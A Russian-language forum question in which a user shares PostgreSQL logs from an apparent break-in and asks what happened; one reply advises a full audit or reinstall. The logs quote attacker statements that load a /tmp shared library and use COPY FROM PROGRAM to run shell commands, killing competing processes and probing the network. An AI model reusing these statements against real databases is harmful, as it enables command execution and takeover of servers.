Loid=90860; DROP FUNCTION sys(cstring); postgres_1 | 2019-09-05 15:16:55.308 UTC [4904]

Question

Loid=90860; DROP FUNCTION sys(cstring); postgres_1 | 2019-09-05 15:16:55.308 UTC [4904]

ERROR: incompatible library "/tmp/pg_exec.so": version mismatch

еще такpostgres_1 | 2019-09-04 11:48:06.241 UTC [1794] ERROR: program "pkill keep; pkill udk ; pkill /tmp/keep" failed
postgres_1 | 2019-09-04 11:48:06.241 UTC [1794] DETAIL: child process exited with exit code 1
postgres_1 | 2019-09-04 11:48:06.241 UTC [1794] STATEMENT: DROP TABLE IF EXISTS cmd_exec_69;CREATE TABLE cmd_exec_69(cmd_output text);COPY cmd_exec_69 FROM PROGRAM 'pkill keep; pkill udk ; pkill /tmp/keep';
postgres_1 | sh: 1: ip: not found
postgres_1 | 2019-09-04 11:56:51.498 UTC [1854] ERROR: program "ip a " failed
postgres_1 | 2019-09-04 11:56:51.498 UTC [1854] DETAIL: command not found
postgres_1 | 2019-09-04 11:56:51.498 UTC [1854] STATEMENT: DROP TABLE IF EXISTS cmd_exec_69;CREATE TABLE cmd_exec_69(cmd_output text);COPY cmd_exec_69 FROM PROGRAM 'ip a ';

```

может кто-то знает что эта штука сделала или нет ?

а как от этого обезопасить себя, с базой все ок не, и майнера нету
порты поменял, пароли сменил

#backend #devops #pgsql #programming #russian

0

25.09.2019

1 ответов

25 просмотров

Alexeyer Er · Accepted Answer

Alexeyer Er

Оно запускало из сети свои скрипты. Так что не узнаешь, что тамм было. Надо полный аудит системы делать. А лучше по-новой развернуть.

0

25.09.2019

172 похожих чатов

Loid=90860; DROP FUNCTION sys(cstring); postgres_1 | 2019-09-05 15:16:55.308 UTC [4904]

1 ответов

Похожие вопросы